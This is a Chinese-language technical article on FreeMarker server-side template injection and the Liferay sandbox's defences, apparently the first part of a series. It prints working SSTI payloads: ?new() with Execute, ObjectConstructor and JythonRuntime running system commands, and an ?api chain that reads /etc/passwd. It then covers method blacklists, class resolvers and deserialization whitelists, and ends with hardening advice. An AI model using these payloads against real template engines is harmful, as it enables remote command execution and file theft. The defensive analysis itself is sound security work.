逃逸安全的模板沙箱(一):FreeMarker(上)
字数 2291 2025-08-15 21:31:50
FreeMarker模板注入漏洞分析与防御
一、FreeMarker基础
1.1 FreeMarker简介
FreeMarker是一款模板引擎,用于基于模板和动态数据生成输出文本(HTML网页、电子邮件、配置文件等)。其模板语言称为FreeMarker Template Language (FTL)。
1.2 FTL指令规则
FreeMarker有三种FTL标签:
- 开始标签:
<#directivename parameter> - 结束标签:
</#directivename> - 空标签:
<#directivename parameter/>
用户指令使用@代替#。
1.3 assign指令
用于创建或替换顶层变量:
<#assign name1=value1 name2=value2 ... nameN=valueN>
<#assign same as above... in namespacehash>
<#assign name> capture this</#assign>
<#assign name in namespacehash> capture this</#assign>
示例:
<#assign seq = ["foo", "bar", "baz"]>
1.4 插值
用于插入表达式值并转换为文本:
- 通用插值:
${expr} - 数字格式化插值:
#{expr}
示例:
${100 + 5} => 105
${seq[1]} => bar
1.5 内建函数
FreeMarker提供大量内建函数,语法为variable_name?method_name。
危险内建函数:
-
api函数:
- 提供访问value的Java API
- 需要配置
api_builtin_enabled=true(2.3.22+默认为false)
示例:
<#assign classLoader=object?api.class.protectionDomain.classLoader> -
new函数:
- 创建实现了
TemplateModel接口的变量 - 存在安全隐患
- 可通过
Configuration.setNewBuiltinClassResolver()限制(2.3.17+)
示例:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} - 创建实现了
二、FreeMarker初代SSTI漏洞
2.1 api内建函数利用
-
获取ClassLoader加载恶意类:
<#assign classLoader=object?api.class.getClassLoader()> ${classLoader.loadClass("our.desired.class")} -
通过URI访问任意URL:
<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
2.2 new内建函数利用
利用freemarker.template.utility包中的类:
-
Execute类:
<#assign value="freemarker.template.utility.Execute"?new()> ${value("calc.exe")} -
ObjectConstructor类:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()> ${value("java.lang.ProcessBuilder","calc.exe").start()} -
JythonRuntime类:
<#assign value="freemarker.template.utility.JythonRuntime"?new()> <@value>import os;os.system("calc.exe")</@value>
三、FreeMarker安全机制
3.1 防御措施
-
api函数防御:
- 设置
api_builtin_enabled=false(默认) - 内置危险方法黑名单
unsafeMethods.properties
- 设置
-
new函数防御:
- 提供三种预定义解析器:
UNRESTRICTED_RESOLVER:简单调用ClassUtil.forName(String)SAFER_RESOLVER:禁止解析ObjectConstructor、Execute和JythonRuntimeALLOWS_NOTHING_RESOLVER:禁止解析任何类
- 支持自定义解析器(实现
TemplateClassResolver接口)
- 提供三种预定义解析器:
3.2 危险方法黑名单
unsafeMethods.properties文件包含:
java.lang.Object.wait()
java.lang.Object.wait(long)
java.lang.Object.wait(long,int)
java.lang.Object.notify()
java.lang.Object.notifyAll()
java.lang.Class.getClassLoader()
java.lang.Class.newInstance()
java.lang.Class.forName(java.lang.String)
java.lang.Class.forName(java.lang.String,boolean,java.lang.ClassLoader)
java.lang.reflect.Constructor.newInstance([Ljava.lang.Object;)
...
四、Liferay FreeMarker安全机制分析
4.1 安全组件
-
RestrictedLiferayObjectWrapper:
- 扩展FreeMarker沙箱
- 增强可访问对象控制
- 限制不安全配置
-
暴露对象:
- 通过模板API暴露大量对象(154个)
- 部分对象被沙箱限制
4.2 关键对象示例
调试过程中发现的有用对象:
getterUtil:各种get方法saxReaderUtil:存在read方法,可传入File/URLexpandoValueLocalService:代理对象,方法名和参数可控realUser/user:敏感信息unicodeFormatter:编码转换urlCodec:URL编解码jsonFactoryUtil:JSON相关方法
4.3 类加载防御机制
-
Class对象获取限制:
- 黑名单包含
java.lang.Class - 尝试通过
Class[]或Map<?,Class>绕过
- 黑名单包含
-
ClassLoader限制:
java.lang.ClassLoader也在黑名单中
4.4 new函数防御
LiferayTemplateClassResolver:
- 直接封禁
Execute和ObjectConstructor - 黑名单类判定
- 白名单校验(默认为空)
4.5 JSON反序列化防御
-
JSONFactoryImpl:
- 包含
serialize和deserialize方法 deserialize方法会进行白名单校验
- 包含
-
白名单类:
json.deserialization.whitelist.class.names=\ com.liferay.portal.kernel.cal.DayAndPosition,\ com.liferay.portal.kernel.cal.Duration,\ com.liferay.portal.kernel.cal.TZSRecurrence,\ com.liferay.portal.kernel.messaging.Message,\ com.liferay.portal.kernel.model.PortletPreferencesIds,\ com.liferay.portal.kernel.security.auth.HttpPrincipal,\ com.liferay.portal.kernel.service.permission.ModelPermissions,\ com.liferay.portal.kernel.service.ServiceContext,\ com.liferay.portal.kernel.util.GroupSubscriptionCheckSubscriptionSender,\ com.liferay.portal.kernel.util.LongWrapper,\ com.liferay.portal.kernel.util.SubscriptionSender,\ java.util.GregorianCalendar,\ java.util.Locale,\ java.util.TimeZone,\ sun.util.calendar.ZoneInfo -
白名单注册防御:
- 将
LiferayJSONDeserializationWhitelist加入黑名单
- 将
五、防御建议
-
配置设置:
- 保持
api_builtin_enabled=false - 使用
SAFER_RESOLVER或更严格的解析器
- 保持
-
黑白名单:
- 维护严格的类和方法黑名单
- 限制JSON反序列化的白名单
-
对象暴露控制:
- 严格控制通过模板API暴露的对象
- 对敏感对象进行包装和过滤
-
版本更新:
- 及时更新FreeMarker和Liferay版本
- 应用最新的安全补丁
-
自定义安全机制:
- 实现自定义的
TemplateClassResolver - 扩展
RestrictedLiferayObjectWrapper的安全检查
- 实现自定义的
六、总结
FreeMarker模板注入漏洞主要源于其强大的功能特性(如api和new内建函数)和暴露的模板API对象。Liferay通过多层次的安全机制(黑白名单、对象包装、解析器限制等)构建了较为完善的防御体系,但仍需注意潜在的安全弱点。开发者应充分了解这些安全机制,合理配置并扩展,以确保模板引擎的安全使用。